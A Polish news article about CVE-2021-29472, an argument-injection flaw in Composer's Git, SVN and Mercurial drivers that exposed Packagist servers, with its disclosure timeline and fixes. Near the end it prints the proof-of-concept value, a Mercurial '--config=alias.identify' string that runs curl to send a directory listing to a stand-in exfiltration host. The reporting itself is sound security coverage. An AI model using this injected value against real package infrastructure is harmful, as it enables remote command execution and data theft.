W menedżerze zależności Composer wykryto krytyczną lukę (CVE-2021-29472), która umożliwia wykonywanie dowolnych poleceń w systemie podczas przetwarzania pakietu ze specjalnie spreparowaną wartością URL określającą adres pobierania kodu źródłowego. Problem występuje w komponentach GitDriver, SvnDriver i HgDriver, używanych przy pracy z systemami kontroli wersji Git, Subversion i Mercurial. Luka została usunięta w wydaniach Composer 1.10.22 oraz 2.0.13.
Szczególnie podkreśla się, że problem dotyczył przede wszystkim domyślnego repozytorium pakietów Packagist używanego przez Composer, które obejmuje 306 tysięcy pakietów dla programistów PHP i obsługuje miesięcznie ponad 1,4 miliarda pobrań. W ramach eksperymentu pokazano, że gdyby atakujący znali tę lukę, mogliby przejąć kontrolę nad infrastrukturą Packagist oraz wykraść dane uwierzytelniające opiekunów pakietów lub przekierować pobieranie pakietów na zewnętrzny serwer, dostarczając zmodyfikowane wersje pakietów ze złośliwymi zmianami w celu podłożenia backdoora podczas instalacji zależności.
Ryzyko dla użytkowników końcowych jest ograniczone, ponieważ zawartość composer.json jest zazwyczaj określana przez samego użytkownika, a odnośniki do kodu źródłowego są przekazywane przy korzystaniu z zewnętrznych repozytoriów, które zwykle są zaufane. Najbardziej ucierpiały repozytorium Packagist.org i usługa Private Packagist, które uruchamiają Composer z przekazaniem danych otrzymanych od użytkowników. Atakujący mogli wykonać własny kod na serwerach Packagist, publikując specjalnie spreparowany pakiet.
Zespół Packagist usunął lukę w ciągu 12 godzin od otrzymania zgłoszenia. Badacze prywatnie powiadomili deweloperów Packagist 22 kwietnia i jeszcze tego samego dnia problem został naprawiony. Publiczną aktualizację Composer usuwającą lukę opublikowano 27 kwietnia, a szczegóły ujawniono 28 kwietnia. Audyt logów na serwerach Packagist nie wykazał żadnej podejrzanej aktywności związanej z tą luką.
Problem wynika z błędu w kodzie sprawdzającym poprawność URL w głównym pliku composer.json oraz w odnośnikach do pobierania kodu źródłowego. Błąd jest obecny w kodzie od listopada 2011 roku. W Packagist do organizacji pobierania kodu bez powiązania z konkretnym systemem kontroli wersji stosowane są specjalne warstwy pośrednie, uruchamiane przez wywołanie „fromShellCommandline” z przekazaniem argumentów wiersza poleceń. Na przykład dla git wywoływane jest polecenie „git ls-remote —heads $URL”, gdzie URL jest przetwarzany metodą „ProcessExecutor::escape($url)”, która ekranuje potencjalnie niebezpieczne konstrukcje, takie jak „$(…)” lub „`…`”.
Istota problemu polega na tym, że metoda ProcessExecutor::escape nie ekranowała sekwencji „—“, co pozwalało wskazać w URL dowolny dodatkowy parametr wywołania. Takiego ekranowania brakowało również w sterownikach GitDriver.php, SvnDriver.php i HgDriver.php. Atak przez GitDriver.php był utrudniony, ponieważ polecenie „git ls-remote” nie obsługiwało podawania dodatkowych argumentów po ścieżce. Możliwy okazał się natomiast atak na HgDriver.php poprzez przekazanie narzędziu „hq” parametru „—config”, który pozwalał wykonać dowolne polecenie przez manipulację ustawieniem „alias.identify”. Na przykład, aby pobrać i uruchomić kod za pomocą narzędzia curl, można było wskazać: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”
Po opublikowaniu w Packagist testowego pakietu z takim URL badacze potwierdzili, że po jego umieszczeniu na ich serwer trafiło żądanie HTTP z jednego z serwerów serwerów Packagist w AWS, zawierające listę plików w bieżącym katalogu.
Źródło: opennet.ru
